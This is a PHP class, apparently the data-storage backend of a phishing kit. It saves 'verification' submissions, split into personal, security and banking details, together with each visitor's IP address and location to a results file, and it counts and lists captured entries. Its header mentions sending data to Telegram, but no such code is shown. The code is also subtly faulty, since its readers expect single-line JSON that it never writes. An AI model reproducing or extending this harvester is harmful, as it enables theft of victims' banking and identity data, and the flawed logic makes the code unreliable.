<?php
/**
 * Simple Data Handler
 * Handles data storage without database - saves to file and sends to Telegram
 */

class SimpleDataHandler {
    private $config;
    private $resultsFile;
    
    public function __construct($config) {
        $this->config = $config;
        $this->resultsFile = $config['storage']['results_file'];
    }
    
    /**
     * Save verification data to file
     */
    public function saveVerificationData($sessionId, $section, $data, $locationData = []) {
        if (!$this->config['storage']['save_to_file']) {
            return true;
        }
        
        $timestamp = date('Y-m-d H:i:s');
        $ip = $locationData['ip'] ?? 'Unknown';
        $country = $locationData['country'] ?? 'Unknown';
        $state = $locationData['state'] ?? 'Unknown';
        $city = $locationData['city'] ?? 'Unknown';
        
        $logEntry = [
            'timestamp' => $timestamp,
            'session_id' => $sessionId,
            'section' => $section,
            'ip' => $ip,
            'location' => "$country, $state, $city",
            'data' => $data
        ];
        
        $logLine = json_encode($logEntry) . "\n";
        
        return file_put_contents($this->resultsFile, $logLine, FILE_APPEND | LOCK_EX) !== false;
    }
    
    /**
     * Save complete verification data
     */
    public function saveCompleteVerification($sessionId, $allData, $locationData = []) {
        if (!$this->config['storage']['save_to_file']) {
            return true;
        }
        
        $timestamp = date('Y-m-d H:i:s');
        $ip = $locationData['ip'] ?? 'Unknown';
        $country = $locationData['country'] ?? 'Unknown';
        $state = $locationData['state'] ?? 'Unknown';
        $city = $locationData['city'] ?? 'Unknown';
        
        $completeEntry = [
            'timestamp' => $timestamp,
            'session_id' => $sessionId,
            'status' => 'COMPLETED',
            'ip' => $ip,
            'location' => "$country, $state, $city",
            'personal_details' => $allData[0] ?? [],
            'security_details' => $allData[1] ?? [],
            'banking_details' => $allData[2] ?? []
        ];
        
        $logLine = "=== COMPLETE VERIFICATION ===\n" . json_encode($completeEntry, JSON_PRETTY_PRINT) . "\n\n";
        
        return file_put_contents($this->resultsFile, $logLine, FILE_APPEND | LOCK_EX) !== false;
    }
    
    /**
     * Get verification statistics
     */
    public function getStatistics() {
        if (!file_exists($this->resultsFile)) {
            return [
                'total_verifications' => 0,
                'today_verifications' => 0,
                'last_verification' => null
            ];
        }
        
        $lines = file($this->resultsFile, FILE_IGNORE_NEW_LINES);
        $totalVerifications = 0;
        $todayVerifications = 0;
        $lastVerification = null;
        
        foreach ($lines as $line) {
            if (strpos($line, 'COMPLETE VERIFICATION') !== false) {
                $totalVerifications++;
                
                // Get next line which contains the JSON
                $nextLineIndex = array_search($line, $lines) + 1;
                if (isset($lines[$nextLineIndex])) {
                    $data = json_decode($lines[$nextLineIndex], true);
                    if ($data && isset($data['timestamp'])) {
                        if (date('Y-m-d', strtotime($data['timestamp'])) === date('Y-m-d')) {
                            $todayVerifications++;
                        }
                        $lastVerification = $data['timestamp'];
                    }
                }
            }
        }
        
        return [
            'total_verifications' => $totalVerifications,
            'today_verifications' => $todayVerifications,
            'last_verification' => $lastVerification
        ];
    }
    
    /**
     * Log security event
     */
    public function logSecurityEvent($ip, $userAgent, $action, $details = '') {
        $timestamp = date('Y-m-d H:i:s');
        $logEntry = [
            'timestamp' => $timestamp,
            'type' => 'SECURITY_EVENT',
            'ip' => $ip,
            'user_agent' => $userAgent,
            'action' => $action,
            'details' => $details
        ];
        
        $logLine = json_encode($logEntry) . "\n";
        return file_put_contents($this->resultsFile, $logLine, FILE_APPEND | LOCK_EX) !== false;
    }
    
    /**
     * Check rate limit
     */
    public function checkRateLimit($ip, $action, $maxAttempts = 5, $windowMinutes = 5) {
        if (!file_exists($this->resultsFile)) {
            return true;
        }
        
        $lines = file($this->resultsFile, FILE_IGNORE_NEW_LINES);
        $attempts = 0;
        $windowStart = date('Y-m-d H:i:s', strtotime("-{$windowMinutes} minutes"));
        
        foreach ($lines as $line) {
            $data = json_decode($line, true);
            if ($data && isset($data['ip']) && $data['ip'] === $ip && isset($data['timestamp'])) {
                if ($data['timestamp'] > $windowStart) {
                    $attempts++;
                }
            }
        }
        
        return $attempts < $maxAttempts;
    }
    
    /**
     * Get recent verifications
     */
    public function getRecentVerifications($limit = 10) {
        if (!file_exists($this->resultsFile)) {
            return [];
        }
        
        $lines = file($this->resultsFile, FILE_IGNORE_NEW_LINES);
        $verifications = [];
        
        foreach ($lines as $line) {
            if (strpos($line, 'COMPLETE VERIFICATION') !== false) {
                $nextLineIndex = array_search($line, $lines) + 1;
                if (isset($lines[$nextLineIndex])) {
                    $data = json_decode($lines[$nextLineIndex], true);
                    if ($data) {
                        $verifications[] = $data;
                    }
                }
            }
        }
        
        return array_slice(array_reverse($verifications), 0, $limit);
    }
}
?>
